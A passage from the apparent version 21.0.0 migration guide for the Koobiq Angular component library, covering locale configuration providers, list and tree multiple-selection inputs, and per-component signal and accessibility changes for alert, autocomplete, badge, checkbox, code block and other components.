`KbqLocaleData` and complete it from the shipped locale of the same id, or from `KBQ_DEFAULT_LOCALE_ID` for
a new id. You no longer have to restate a whole locale to change one string, and a section you leave out
can no longer surface as `undefined` at runtime. The two earlier notes about custom locale data needing an
`a11y` section no longer apply — a missing section is filled in for you.

**Signals alongside the observable.** `localeId()`, `data()` and `items()` join `changes`, and
`params(section)` returns a `Signal` of one section. `changes` keeps working; `id` and `current` are
deprecated in favour of `localeId()` and `data()`. Prefer the signals: a signal read from a template
registers on the reading view, so a runtime `setLocale()` reaches `OnPush` children that a subscription in
the parent never marked dirty.

**Configuration providers accept a partial, and now apply on top of the active locale.**
`kbqA11yLocaleConfigurationProvider`, `kbqCodeBlockLocaleConfigurationProvider`,
`kbqClampedTextLocaleConfigurationProvider`, `kbqActionsPanelLocaleConfigurationProvider` and
`kbqTimeRangeLocaleConfigurationProvider` now take only the keys you want to change. Previously the locale
service took precedence over them, so an application that provided `KBQ_LOCALE_SERVICE` saw these providers
ignored entirely; the keys you pass are now merged over the active locale and stay pinned across a runtime
`setLocale()`, while the keys you leave out keep following it. Passing a full object still works and pins
the whole section.

**Component configuration tokens now supply defaults, not overrides.** `KBQ_VERTICAL_NAVBAR_CONFIGURATION`,
`KBQ_NOTIFICATION_CENTER_CONFIGURATION`, `KBQ_APP_SWITCHER_CONFIGURATION`,
`KBQ_SEARCH_EXPANDABLE_CONFIGURATION`, `KBQ_DATEPICKER_CONFIGURATION` and `KBQ_FILTER_BAR_CONFIGURATION` used
to beat the locale service outright. Every one of those components now reads the shared
`kbqInjectLocaleConfiguration` helper, where the token carries the defaults and the active locale wins, so
`{ provide: KBQ_<X>_CONFIGURATION, useValue: … }` is silently ignored in any application that provides
`KBQ_LOCALE_SERVICE`. Replace it with the matching `kbq<X>LocaleConfigurationProvider(…)`, which registers a
real override — `ng update` rewrites it for you. The same conversion dropped the `externalConfiguration`
member from those components and made `configuration` read-only, and gave `kbq-select`, `kbq-tree-select`,
`kbq-tree-selection`, `kbq-timepicker`, `kbq-timezone-select` and the number input the token-and-provider
pair they never had. One behaviour fix rides along: an explicit `[hiddenItemsText]` binding on `kbq-select`
and `kbq-tree-select` is no longer wiped by the next `setLocale()`.

**Everything in the locale layer is named after its section.** The token is
`KBQ_<SECTION>_LOCALE_CONFIGURATION`, its defaults `KBQ_<SECTION>_DEFAULT_LOCALE_CONFIGURATION`, the
override helper `kbq<Section>LocaleConfigurationProvider()` and the type `Kbq<Section>LocaleConfiguration` —
so `navbar` lost the `VERTICAL_` its type never had, `input` the `NUMBER_`, and `sizeUnits` its
`kbqFilesizeFormatter…` helper. The names in a 20.x release stay as deprecated aliases until 22.0.0; the
schematic moves you onto the new ones. `KBQ_INPUT_NUMBER_DEFAULT_CONFIGURATION` is only reported, because it is
the `number` slice of the section rather than the whole of it: read `KBQ_INPUT_DEFAULT_LOCALE_CONFIGURATION.number`,
the same object. Removed outright, with no alias, and renamed by the schematic: `KbqFilterBarConfiguration` (now
`KbqFilterBarLocaleConfiguration`), the `Kbq*LocaleConfig` types (now `Kbq*LocaleConfiguration`, with
`KbqNumberInputLocaleConfig` becoming `KbqInputNumberLocaleConfiguration`) and
`kbqInjectKbqClampedLocaleConfiguration` (now `kbqInjectClampedTextLocaleConfiguration`). The unused `navbarIc`
locale section is gone too.

**Reading and overriding no longer share a word.** A component resolves its strings into
`localeConfiguration()`, a signal — the member was called `configuration` on seven components and
`localeData` aliased it on nine more, both removed. `KbqTimezoneSelect` inherits `localeConfiguration` from
`KbqSelect`, so its own section is `timezoneLocaleConfiguration()`. Per-instance overrides go through
`[localeOverrides]`, keyed by locale section, on every localized component; file upload's `[localeConfig]`
input and `resolvedLocaleConfig()` are removed in favour of it, as is `KBQ_FILE_UPLOAD_CONFIGURATION`.

**Two narrowed types worth checking.** `KBQ_DATEPICKER_CONFIGURATION`, `KBQ_VERTICAL_NAVBAR_CONFIGURATION`,
`KBQ_NOTIFICATION_CENTER_CONFIGURATION` and `KBQ_SEARCH_EXPANDABLE_CONFIGURATION` used to be
`InjectionToken<unknown>` and now carry their real type, so a value you provide for one of them is
type-checked for the first time. And `defaultUnitSystem` on the exported `*FormattersData` constants is now
the literal `'SI'` rather than `string`; only code that assigns to it is affected.

##### Running the migration

The `locale-configuration-providers` schematic rewrites the configuration providers automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:locale-configuration-providers --project "<your project>"
```

Run it even if you upgrade by hand: a `{ provide: KBQ_<X>_CONFIGURATION, useValue: … }` left behind is
silently ignored at runtime rather than reported as a compile error. It renames the tokens, constants,
providers and types for you. The removals it can only report — `configuration`, `localeData`,
`[localeConfig]`, `resolvedLocaleConfig()` — surface as compile errors whose messages already name the
replacement.

#### List and tree multiple selection (21.0.0)

Until 21.0.0 `multiple` on `kbq-list-selection` and `kbq-tree-selection` was a static host attribute read
once in the constructor. It could not be bound, the mode was frozen for the lifetime of the component, and
every value other than `checkbox` and `keyboard` fell through to multiple selection with checkboxes — so
`multiple="false"` meant _multiple_.

It is now a real input with a closed set of values, and the mode can be changed at any time:

| value                                                  | mode             |
| ------------------------------------------------------ | ---------------- |
| `multiple="checkbox"`                                  | checkbox         |
| `multiple="keyboard"`                                  | keyboard         |
| `multiple`, `multiple="true"`, `[multiple]="true"`     | checkbox         |
| no attribute, `multiple="false"`, `[multiple]="false"` | single selection |

Single selection is the default, so the way to ask for it is to leave the attribute off entirely. Anything
else — `multiple="single"` included — falls back to single selection and is reported in the console in dev
mode, where it used to enable multiple selection.

##### Running the migration

The `list-tree-multiple-input` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:list-tree-multiple-input --project "<your project>"
```

##### What is fixed automatically

**`multiple="false"` and `multiple="single"`** → the attribute is **removed**. This is the one rewrite in
this section that changes behaviour: both spellings used to enable multiple selection with checkboxes, and
both now mean single selection, which is what an absent attribute already says. The migration assumes the
author meant what they wrote. Each removal is logged as a behaviour change — if you actually wanted multiple
selection, put `multiple="checkbox"` back.

**Every other unrecognized value** (`multiple="multiple"`, `multiple="yes"`, `multiple="1"`, …) →
`multiple="checkbox"`, which preserves the behaviour, since any such value used to enable multiple
selection. Both external `.html` and inline templates are covered; a dynamic `[multiple]="expr"` is skipped
with a warning.

##### What you need to fix manually

**`multipleMode` is now an accessor** rather than a plain field. Assigning to it rebuilds the
`SelectionModel` instead of only relabelling the mode — CDK freezes multiplicity at construction, so the
model has to be replaced. On a `kbq-tree-selection` rendered inside a `kbq-tree-select` the assignment
throws `getKbqTreeSelectionOwnedMultipleError`: the select shares its model with the tree and subscribes to
that instance, so it owns how many nodes may be selected. Bind `multiple` on the select instead. Switching
only between `checkbox` and `keyboard` is still allowed there.

**A mode change replaces the `SelectionModel` instance**, so any code holding
`selectionModel.changed.subscribe(...)` is left on the discarded one. Subscribe to the
`(selectionChange)` output of the component, which survives the swap.

**On `kbq-tree-selection` the reported value follows the mode** — a bare value in single selection, an array
in multiple selection. That was already true, but the mode could not change before; now it can, so the shape
the form control holds changes with it. `kbq-list-selection` always reports an array and is unaffected.

**Narrowing keeps the first selected item in render order** and drops the rest, emitting `selectionChange`
for each option it deselected and reporting the shortened value to the form control.

#### Component review (21.0.0)

Components went through a full review in 21.0.0. Each review closed the members that were never part of the component's contract, moved inputs to signals where that was the point of it, and fixed the behavior it uncovered along the way. Only the changes that reach a consumer are listed here, so a component whose review changed nothing a consumer can see has no subsection below.

Every schematic named below runs automatically:

```bash
ng update @koobiq/components@21
```

Most of them report rather than rewrite: what replaces a removed member or a signal input is a decision — a template binding, a different member, or nothing at all — so they log the call sites they find and leave the code alone. Each subsection below names the schematic that covers it, where there is one, and says what, if anything, it changes for you. Run one on its own to get its report again:

```bash
ng g "@koobiq/components:<schematic-name>" --project "<your project>"
```

##### Alert

`KbqAlert` finished its move to signals and closed the members that were never part of its contract. Template bindings are untouched — `[compact]`, `[alertStyle]` and `[alertColor]` bind exactly as before; what changed is programmatic access and one input's value.

`alertColor` was an asymmetric accessor: the setter took a color, the getter returned the CSS class built from it. Reading back an `'error'` you had assigned gave you `'kbq-alert_error'`, so `alert.alertColor === KbqAlertColors.Error` was never true, and a single read-then-write stored the class into the color and produced `kbq-alert_kbq-alert_error` — a class no theme rule matches, so the alert lost its background. It is a read-only input signal now and reports the raw color.

| Member                                                                             | Before                     | After                                               |
| ---------------------------------------------------------------------------------- | -------------------------- | --------------------------------------------------- |
| `compact`                                                                          | `boolean`                  | `InputSignalWithTransform`, `booleanAttribute`      |
| `alertStyle`                                                                       | `KbqAlertStyles \| string` | `InputSignal<'default' \| 'colored'>`               |
| `alertColor`                                                                       | accessor pair              | read-only `InputSignalWithTransform`, value changed |
| `icon` / `iconItem` / `button` / `title` / `control` / `closeButton` / `isColored` | public                     | `protected`                                         |

| Pattern                                        | Manual migration                                                                                 |
| ---------------------------------------------- | ------------------------------------------------------------------------------------------------ |
| `.compact` / `.alertStyle`                     | Read them as calls — `alert.compact()`; the value is unchanged                                   |
| `.alertColor`                                  | `alert.alertColor()` reports `'error'`, not `'kbq-alert_error'` — drop any class-string parsing  |
| `.alertColor = …`                              | The input is read-only; drive it with `[alertColor]`                                             |
| `[alertColor]="'danger'"`                      | Both inputs are narrowed to their enum literals, so a typo no longer compiles                    |
| Projected content inside a wrapper element     | The slot queries are `descendants: false`; project the slots as direct children of `<kbq-alert>` |
| `A11yModule` / `PlatformModule` via the module | `KbqAlertModule` no longer re-exports them; import them from `@angular/cdk` yourself             |

**`<kbq-alert compact>` now does what it reads like.** Without the `booleanAttribute` transform the bare attribute bound the empty string, which is falsy, so the alert stayed at its normal size. Markup that carried the attribute as decoration turns compact after the update.

Additive, with nothing to migrate: a `closed` output that fires when the projected close control is activated (the alert still does not hide itself), and `exportAs` on the component and all three directives. Three fixes come for free: the projected status icon is auto-tinted reactively instead of once after content init, so a changing `[alertColor]` no longer leaves a red icon on a green alert; the normal-size icon padding uses the token that matches its state; and in the light theme the default-style warning and success icons are darkened to clear the WCAG 3:1 non-text contrast minimum.

Unlike the rest of this section, the alert review shipped in 20.2.0, and `alert-signals` is registered at that version: an `ng update` that crosses 20.2.0 runs it, a project already past that version has to run the schematic by hand.

Handled by `alert-signals`: the `compact` and `alertStyle` reads are rewritten, the rest is reported.

##### Autocomplete

Four accessor inputs and one write-target input survived the automated signal migration, on the panel and its trigger.

`classList` was the odd one: declared `@Input('class')`, its setter accumulated class names into an object the panel template binds, and cleared the host's `className` as a side effect. It is an internal `computed` now, fed by a `class` signal input — `class="…"` on `<kbq-autocomplete>` keeps working exactly as before.

`isOpen` was asymmetric: `set isOpen(v)` stored a flag while `get isOpen()` returned that flag **and** `showPanel`, so writing `true` and reading it back returned `false` whenever the panel had no options. It is a `computed` now — `attached() && showPanel()` — with `attached` as the writable half the trigger owns.

| Pattern                                   | Manual migration                                                         |
| ----------------------------------------- | ------------------------------------------------------------------------ |
| `.autoActiveFirstOption` / `.openOnFocus` | Read as calls — rewritten for you                                        |
| `.showPanel` / `.isOpen`                  | Read as calls — rewritten for you                                        |
| `.autocompleteDisabled` on the trigger    | Read as a call — rewritten for you                                       |
| `.showPanel = …`                          | `showPanel.set(…)` — rewritten for you                                   |
| `.displayWith(value)`                     | `displayWith()(value)` — rewritten for you                               |
| `.isOpen = …`                             | `attached.set(…)`, though this is the trigger's own state                |
| `.displayWith = …` / `.openOnFocus = …`   | These are `input()`s now; bind them in the template                      |
| `.classList`                              | Set `class` on `<kbq-autocomplete>`; the classes still land on the panel |

`displayWith` is the one member whose value is itself a function, so the read and the invocation are separate calls: `displayWith()(value)`. A call left at one pair of parentheses reads the function object, and in a template that interpolates the function instead of the label.

**`autoActiveFirstOption`, `openOnFocus` and `kbqAutocompleteDisabled` are `booleanAttribute` inputs now.** For `autoActiveFirstOption` and `kbqAutocompleteDisabled` that matches the `coerceBooleanProperty` they already used, so nothing changes. `openOnFocus` had no coercion at all, and it flips in both directions: a valueless attribute or `0` used to read as false and now means `true`, and `'false'` used to read as true and now means `false`.

**Binding `[autoActiveFirstOption]` overrides `KBQ_AUTOCOMPLETE_DEFAULT_OPTIONS`** even when the bound value is `undefined` — as it did before this release, because the old setter coerced every binding write. The token default only applies to an input nobody bound, so leave it unbound to let the token decide.

**Generated panel ids come from the CDK `_IdGenerator`.** With the default `APP_ID` the shape is unchanged (`kbq-autocomplete-0`, `kbq-autocomplete-1`, …); an app or test that sets a custom `APP_ID` now gets it embedded, e.g. `kbq-autocomplete-a1` under TestBed. The id is the panel element's `id`, so selectors and snapshots targeting it may need updating.

**`class` on `<kbq-autocomplete>` accepts every shape Angular's own `[class]` binding does** — a string, an array, a `Set`, or a `{ className: boolean }` map. The element carries no static `class` attribute, so the binding value reaches the input raw; the old setter silently ignored anything that was not a string.

`options` stays a `QueryList` content query: `ActiveDescendantKeyManager` and the panel-closing stream both rely on its `changes` semantics.

**Classes from the `class` attribute now replace each other on the panel instead of accumulating.** The old setter merged every value it was given into an object it never cleared, so a `[class]` binding that changed from `"a"` to `"b"` left the panel with both.

Handled by `autocomplete-signals`: the reads are rewritten, the rest is reported.

##### Badge

`badgeColor` was published as an input whose setter took a color and whose getter returned a CSS class, so a read never matched the write:

```ts
badge.badgeColor = KbqBadgeColors.Error;
badge.badgeColor; // 'kbq-badge_error'
```

It is a signal input now and reports the color the badge renders in: an empty, `null` or `undefined` value falls back to `fade-contrast` in the input's own transform, so the read never hands back a color the host does not carry. The `kbq-badge_<color>` class still lands on the host, from an internal computed, so styles and screenshots are unchanged — only a programmatic read sees the difference.

| Pattern                 | Manual migration                                                                                |
| ----------------------- | ----------------------------------------------------------------------------------------------- |
| `.compact` / `.outline` | Read as `compact()` / `outline()` — rewritten for you                                           |
| `.badgeColor`           | `badgeColor()`, and expect the raw color instead of `kbq-badge_<color>`                         |
| `.badgeColor = …`       | Bind `[badgeColor]` in the template — the input is read-only                                    |
| `.iconItem`             | Removed; the badge never read this content query either                                         |
| `KbqBadgeCssStyler.*`   | Now `private`, and `isIconButton` is gone; the icon spacing classes it applies are the contract |

**`compact` and `outline` are `booleanAttribute` inputs now.** `<kbq-badge compact>` used to pass the empty string, which is falsy, so the attribute did nothing and the badge rendered at its default size; it now renders compact. Conversely `[compact]="'false'"` — a non-empty string, previously truthy — now means `false`.

Handled by `badge-signals`: the `compact` and `outline` reads are rewritten, the rest is reported.

##### Breadcrumbs

Nothing to run: every input kept its name, so there is no markup to rewrite. What changed is what the component does with them.

**The landmark is named from the locale.** The host wrote `aria-label="breadcrumb"` as a _binding_ — an English literal that also overwrote an `aria-label` the consumer had authored on the same element. The name comes from `KbqA11yLocaleConfiguration.breadcrumbs` now, so a non-English application renders a translated name where it used to render English, and `<nav kbq-breadcrumbs aria-label="…">` finally survives change detection, which is what makes two trails on one page distinguishable. The element form `<kbq-breadcrumbs>` also carries `role="navigation"` now; `<nav kbq-breadcrumbs>` is untouched, because it has the role already.

**`disabled` does what it says.** `KbqBreadcrumbs.disabled` was published and documented as blocking interaction, and read nowhere — no class, no attribute, every link still clickable. It now disables every item and the expand button and takes them out of the tab order. Markup that bound it and worked around it having no effect will see the trail go read-only.

**`firstItemNegativeMargin` applies in every wrap mode.** The offset hung off `.kbq-overflow-items`, a wrapper that only `wrapMode="auto"` renders, so it silently did nothing in `wrap` and `none`. It is carried by `.kbq-breadcrumbs__list` as well now — the wrapper those two modes render instead. Not by the host: a negative margin on a flex item is subtracted from the space the flex algorithm hands it, so the trail would stop being squeezed, and `auto` mode — which decides what to collapse by measuring its own box — would conclude that every item fits and collapse nothing. A trail in one of those two modes that never set the property shifts left by `--kbq-breadcrumb-item-negative-margin` — the alignment it was always supposed to have; bind `[firstItemNegativeMargin]="false"` to keep the old position.

**`PageUp` and `PageDown` scroll the page again.** The roving-focus primitive mapped them to "first item" / "last item" and called `preventDefault()`, so a trail near the top of a long page swallowed the paging keys. `Home` and `End` still make those jumps.

Two DOM details that only matter to a stylesheet reaching into the component: the default separator is a plain `<i class="kbq-breadcrumb__separator">` instead of an empty `KbqIcon`, so it no longer carries `kbq-icon`/`kbq-contrast-fade`; and the rendered items are wrapped in a `role="list"` container.

| Member                                                           | Change                                                                                   |
| ---------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `RdxRovingFocusGroupDirective.dir`                               | `Direction \| null` (the Angular CDK type), default `null` — unset inherits the document |
| `RdxRovingFocusGroupDirective.handleMouseDown` / `handleMouseUp` | Removed; focus entry no longer branches on what moved the focus                          |
| `RdxRovingFocusGroupDirective.onFocusableItemAdd` / `...Remove`  | Removed; the count is derived from `focusableItems()`                                    |
| `RdxRovingFocusItemDirective.active`                             | Defaults to `false`, so `data-active` marks one item instead of all of them              |
| `KbqBreadcrumbItem.text` / `.disabled`                           | Default to `''` / `false` instead of `undefined` cast to the non-nullable type           |

`<a kbq-button kbqBreadcrumb>` no longer overwrites the button's `color` and `kbqStyle`: a `color` or `kbqStyle` bound next to `kbqBreadcrumb` is kept, and the button follows a surrounding `KbqButtonGroupRoot` again. Only markup that bound one of the two and expected it to be ignored sees a difference.

##### Checkbox

`id` and `clickAction` were the two inputs the automated signal migration skipped, because application code writes to them. Both are `input()` now, and `id` is generated by the CDK `_IdGenerator` instead of a module-level counter.

`checked`, `disabled`, `indeterminate` and `tabIndex` stay accessor inputs. They are two-way state — the component writes them on click and the `ControlValueAccessor` writes them through the `KbqCheckable` host directive — and a `model()` cannot carry the `booleanAttribute` / `numberAttribute` transform they need. Reads and writes of those four are unchanged in TypeScript; a template binding is coerced now, see below.

| Pattern                                                                               | Manual migration                                         |
| ------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `.id` / `.clickAction` / `.big` / `.required` / `.value` / `.name` / `.labelPosition` | Read as calls — rewritten for you                        |
| `.id = …` / `.clickAction = …`                                                        | Bind `[id]` / `[clickAction]` — the inputs are read-only |
| `.inputId` / `.inputElement` / `.getAriaChecked`                                      | Now `protected`; use `focus()` and `toggle()`            |
| `.onInputClick` / `.onInteractionEvent` / `.onLabelTextChange`                        | Now `protected` template handlers                        |

`[clickAction]="undefined"` explicitly **overrides** `KBQ_CHECKBOX_CLICK_ACTION` rather than falling back to it — leave the input unbound to use the token.

**Generated ids come from the CDK `_IdGenerator`.** The shape is unchanged for a default `APP_ID` - the CDK omits the app id unless it was overridden - but the counter is 0-based and shared per prefix, so the first checkbox is `kbq-checkbox-0` where it used to be `kbq-checkbox-1`. An assertion on an exact id needs updating; one matching the shape does not.

**`<kbq-checkbox [id]="null">` falls back to the generated id on the host too.** It used to leave the host without an id while the hidden input still pointed its `for` at the generated one.

**`checked`, `big` and `indeterminate` are `booleanAttribute` inputs.** `<kbq-checkbox checked>` used to pass the empty string, which is falsy, so the valueless attribute did nothing. The same coercion runs on a bound value, so `[checked]="items.length"` on an empty list, `[checked]="0"` and `NaN` now read as `true` - and the accepted template type widens to `unknown`, so a binding that used to fail under `strictTemplates` is accepted and reads as `true`. `required` defaults to `false` instead of `undefined` behind a `boolean` type, and `value` reports `string | undefined` instead of `string`; `id` still reports `string`, since binding `null` falls back to the generated id on the read side too.

**An enabled `<kbq-checkbox>` no longer carries `disabled="false"` on its host.** The host binding rendered the boolean verbatim, so every enabled checkbox shipped the attribute — enough for a consumer stylesheet or test selector written as `kbq-checkbox[disabled]` to match all of them.

**A `kbq-hint` describes the checkbox now instead of being part of its name.** The input is named by the label text alone through `aria-labelledby`, and the hint - after the validation error, while one is shown - reaches it through `aria-describedby`, as with the radio buttons. A test or a screen-reader script that expected the hint in the name needs updating.

Handled by `checkbox-signals`: the one-way input reads are rewritten, the rest is reported.

##### Clamped text

The disclosure semantics belong to `kbqClampedListTrigger` now: `role`, `tabindex`, `aria-expanded` and `aria-controls` all sit on it. `aria-expanded` used to sit on the `<kbq-clamped-text>` host and on the `[kbqClampedList]` container — role-less wrappers, where the attribute conveys nothing — while the trigger, which takes the click and the Enter/Space keys, carried neither a role nor any disclosure state. Neither container renders `aria-expanded` any more, a hand-written `role="button"` is a duplicate, and an explicit `role` or `tabindex` on the element still wins over the directive's default.

`kbqClampedListTrigger` no longer applies `kbq-clamped-text__toggle`. That class has one rule, in the clamped-text stylesheet, which is injected together with a `KbqClampedText`: the `kbqClampedList` trigger had spacing whenever an unrelated component happened to be on the page. The list trigger has no spacing of its own now — drop any `margin-top` override written against it. The clamped-text toggle keeps the class, and `--kbq-clamped-text-size-toggle-margin` sets its gap.

| Pattern                           | Manual migration                                                |
| --------------------------------- | --------------------------------------------------------------- |
| `aria-expanded` on the container  | Read it off the `[kbqClampedListTrigger]` element               |
| `.kbq-clamped-text__toggle` reset | Drop it — the list trigger no longer borrows the margin         |
| `role="button"` on the trigger    | Remove it; the directive supplies the role                      |
| `.hasToggle.set(…)`               | `hasToggle` is a read-only `Signal`, written by the measurement |
| `.text()` / `.textContainer()`    | `protected`; query the element from your own template           |

`isCollapsed` is a `model()` on `KbqClampedText`, so `isCollapsedChange` means user intent, as the guide always said it did. It fires when the toggle is operated; the component's first measurement and a value the parent wrote into `[isCollapsed]` no longer trigger it. A route query parameter is no longer rewritten on every mount, and a handler reads the initial state from `[(isCollapsed)]` rather than from the mount-time emission. `KbqClampedList` is unaffected: its `isCollapsed` was already a `model()`.

Fixes with nothing to migrate:

- Space and Enter on the trigger call `preventDefault()`. Space no longer scrolls the page while it expands, and a native `<button>` host no longer toggles twice from the synthetic click.
- Collapsing scrolls with `{ block: 'nearest', inline: 'nearest' }` instead of centering on both axes, and `[scrollOnCollapse]="false"` turns it off.
- `rows` takes a string attribute, so `rows="3"` compiles under `strictTemplates`.
- `[debounceTime]` is re-read on every resize instead of once at `ngAfterViewInit`.
- The toggle does not appear before the first measurement, and the text stays clamped until then. The prerendered documentation page used to ship the text expanded.

Reported by `clamped-text-disclosure`.

##### Code block

`maxHeight` was published as `InputSignal<number>` over an `undefined!` default, so a code block with no `[maxHeight]` binding reported `undefined` from a non-nullable type:

```ts
const height: number = codeBlock.maxHeight(); // held undefined
if (codeBlock.maxHeight() > 0) { … }          // NaN comparison, never true
```

It reports `number | undefined` now, and a value that is not cleanly numeric — a valueless `maxHeight` attribute, `'200px'` — reports `undefined` rather than `NaN`. `[maxHeight]="undefined"` used to hand back `NaN`; that is the one runtime change. The call sites that were quietly wrong now fail to compile.

`KbqCodeBlockHighlight.file` was a write-only required input: a setter with no getter that kicked off highlighting as a side effect. It is a required signal input driven by an effect now, so it can finally be read — and a programmatic write no longer compiles.

**`KbqCodeBlock` has no decorator inputs left.** `softWrap`, `viewAll`, `canDownload`, `files`, `activeFileIndex` and `hideTabs` are `WritableSignal`s over a backing `input()` that carries the `booleanAttribute` / `numberAttribute` transform. Template bindings are untouched — `[softWrap]`, `[(viewAll)]` and a valueless `<kbq-code-block softWrap>` all keep working — but a programmatic read becomes a call and a write becomes `.set(…)`. A `model()` would have been the obvious shape; `ModelOptions` carries no `transform`, and dropping the transform would make a valueless attribute pass the empty string and silently turn the feature off.

| Pattern                                     | Manual migration                                                    |
| ------------------------------------------- | ------------------------------------------------------------------- |
| `.softWrap` / `.viewAll` / `.canDownload`   | Read as a call — rewritten for you                                  |
| `.files` / `.activeFileIndex` / `.hideTabs` | Read as a call — rewritten for you                                  |
| `.softWrap = …`                             | `.softWrap.set(…)` — rewritten for you; a compound form is reported |
| `.maxHeight()`                              | `?? 0` for the common reading, or handle the unset state explicitly |
| `.file = …` on a `KbqCodeBlockHighlight`    | Bind `[file]`; the value is readable as `file()` now                |

**The `max-height` applied while `viewAll` is off is a `computed`.** It was a getter read from a `[style.max-height.px]` binding, so it only re-evaluated when something else marked the view dirty.

**`hideTabs` reports what was bound; `tabsHidden()` is what the header does.** The rule that a single file without a filename hides the bar is derived now instead of being written into `hideTabs`, so a read of `hideTabs` no longer folds it in. `tabsHidden` is public for exactly that reading.

**An `activeFileIndex` outside `files` renders the first file, and an empty `files` renders no code at all.** Both used to reach `files[activeFileIndex]` and throw on the undefined result — `<kbq-code-block />` and `[files]="[]"` were enough. The index itself is left as bound: resetting it wrote `activeFileIndexChange` back into a `[(activeFileIndex)]` while the parent was still updating, which handed the parent the wrong file and, in the other binding order, `NG0100`.

**`hideTabs` is derived instead of written.** A single file with no `filename` still hides the tab bar, but the component no longer writes `true` into its own input to do it: the write latched the bar off for the life of the component, so naming the files later never brought it back and every file past the first stayed unreachable, and it re-emitted `hideTabsChange` on every `files` assignment. Two consequences: `[hideTabs]="false"` no longer shows the bar for a lone unnamed file — the rule wins, as the API has always documented — and reading `hideTabs` reports what the header does, while `hideTabsChange` fires only when the binding itself changes.

**A disabled `@media print` rule aside, printing is unaffected**, but two long-standing leaks are gone: a failed `highlight.js` load no longer latches `pending` on for the life of the page, and the line-numbers plugin installs its `<style>` and its `copy` listener once instead of once per code block.

Handled by `code-block-signals`: the reads and the plain writes are rewritten, the rest is reported.

##### Description list

The description list was already fully signal-based, so the review had nothing to migrate. What it found were the four inputs that never got a coercion transform, sitting next to siblings that had one:

```ts
readonly verticalBreakpoint = input(400, { transform: numberAttribute });
readonly dtMinWidth = input<number | undefined>();        // no transform
readonly wide = input(false);                              // no transform
```

**`<kbq-dl wide>` and `<kbq-dl wide="">` used to do nothing.** A valueless attribute passes the empty string, which is falsy — while `<kbq-dl resizable>` right next to it worked. It is coerced now and the attribute means true. The two forms are byte-for-byte the same value, so they migrate the same way.

**`<kbq-dl vertical>` was not inert — it pinned the list horizontal.** The untransformed input held `''`, which is not `null`, so the breakpoint branch never ran and the list never switched at `verticalBreakpoint`. The behavior-preserving rewrite is `[vertical]="false"`; deleting the attribute hands the decision back to the breakpoint instead.

**`wide="false"` and `vertical="false"` invert.** A non-empty string is truthy, so they used to mean _true_, while `booleanAttribute("false")` is `false`. This is the form whose rendering changes most: `<kbq-dl vertical="false" wide="false">` used to render wide and vertical with no resizer, and now renders neither, with the resizer visible.

`vertical` is tri-state: `null` means "decide from `verticalBreakpoint`". `booleanAttribute` would have folded that into `false`, so it uses a transform that preserves `null`.

**`dtMinWidth` and `ddMinWidth` are numeric inputs** reporting `number | undefined`, which is what an unbound description list always held. A numeric literal behaves exactly as before — `Math.max` applies `ToNumber` to its arguments, so `<kbq-dl dtMinWidth="120">` produced `120` on either side of the change. What moved is a value that is not a finite number: `<kbq-dl dtMinWidth>` and `<kbq-dl dtMinWidth="abc">` used to reach the arithmetic as a string and come out as `0`, and report `undefined` now, so the layout falls back to the measured term width and a `?? fallback` at the call site fires.

**`dtWidth` is writable rather than a `model()`.** It is the one numeric input whose value goes back to the consumer through `[(dtWidth)]`, and `model()` takes no `transform`, so a `dtWidth="120"` that nothing coerced reached the layout as a string: `setDtWidth` opens with `Number.isFinite`, which is `false` for a string, so the value skipped the clamp against `dtMinWidth` and a column could render narrower than its own minimum. It is now an aliased input plus a `linkedSignal` and an explicit `dtWidthChange` output. `[(dtWidth)]` is unchanged, and so is reading or writing `dtWidth()`; only code that typed the member as `ModelSignal<number | null>` has to say `WritableSignal<number | null>` instead. A value that is not a finite number reads as `null`, the state that restores the default column ratio.

**Bindings change meaning too**, and no compile error points at them. `[vertical]="row.vertical"` resolving to `undefined` left the input `undefined`, which is not `null`, so the list stayed pinned horizontal; it is `null` now and the breakpoint decides. On `wide`, every falsy non-boolean inverts: `[wide]="items.length"` with `0`, or `[wide]="label"` with an empty string, was falsy and is `true` now. A numeric binding that resolves to a non-number reads as `undefined` instead of reaching the arithmetic.

Reported by `dl-attribute-coercion`, which covers static attributes and bindings alike, in `.html` files and inline templates.

**`KbqDlComponent`, `KbqDtComponent` and `KbqDdComponent` are `KbqDl`, `KbqDt` and `KbqDd`**, the names the newer components use, and they are imported directly: `KbqDlModule` still works, but is no longer documented. The old names are deprecated aliases of the same classes until 22.0.0, so nothing breaks before then. Rewritten by `dl-standalone-names`: the renamed classes wherever they are imported from `@koobiq/components/dl`, and `KbqDlModule` wherever it is an element of an array, such as `imports`, `exports` or a `TestBed` configuration, which becomes `KbqDl, KbqDt, KbqDd`. A `KbqDlModule` anywhere else, such as `importProvidersFrom(KbqDlModule)`, is kept and reported, and a barrel file that re-exports an old name keeps exporting it.

##### Divider

`vertical` and `paddings` were accessor pairs carrying a coercion by hand. They are `input()`s with `booleanAttribute` now, so a read is a call and a write is a template binding. Both kept their names, so `[vertical]` and `[paddings]` bindings are untouched — only TypeScript that reaches the component through a reference has to change.

The component also has separator semantics. It renders `role="separator"`, and `aria-orientation="vertical"` when `vertical` is set, so a hand-rolled `role` or `aria-orientation` on `<kbq-divider>` is now a duplicate. The new `decorative` input renders `role="presentation"` instead, for a divider that only repeats a boundary a heading, a group or the layout already conveys; a hand-rolled `aria-hidden` is still honoured and says the same thing.

| Pattern                              | Manual migration                                                      |
| ------------------------------------ | --------------------------------------------------------------------- |
| `.vertical = …` / `.paddings = …`    | Bind `[vertical]` / `[paddings]` — a signal input takes no assignment |
| `.vertical` / `.paddings`            | Read them as calls                                                    |
| `<kbq-divider role="…">`             | Drop it; the component renders `role="separator"`                     |
| `<kbq-divider aria-orientation="…">` | Drop it; it follows `vertical`                                        |

A new `length` input sets the divider's own size in pixels — its height when vertical, its width otherwise. It replaces reaching for a `height` in CSS to shorten a divider, which is what every caller in this repository had been doing.

A comparison such as `divider.vertical === true` is the case worth hunting for. It keeps compiling and quietly compares against the signal itself, so it is always `false` and nothing complains.

Reported by `divider-signals-and-aria`, which resolves a member access against the receiver's declared type — so a `vertical` on something that is not a `KbqDivider` is left alone, and a receiver whose type is only inferred is not recognised.

##### Dropdown

The review reaches a consumer in four places: the ARIA semantics of the trigger and the item, the signature of the public `activateSafeArea()`, how the panel's width is resolved, and — the largest change — the move of the component's inputs, outputs and queries to signals.

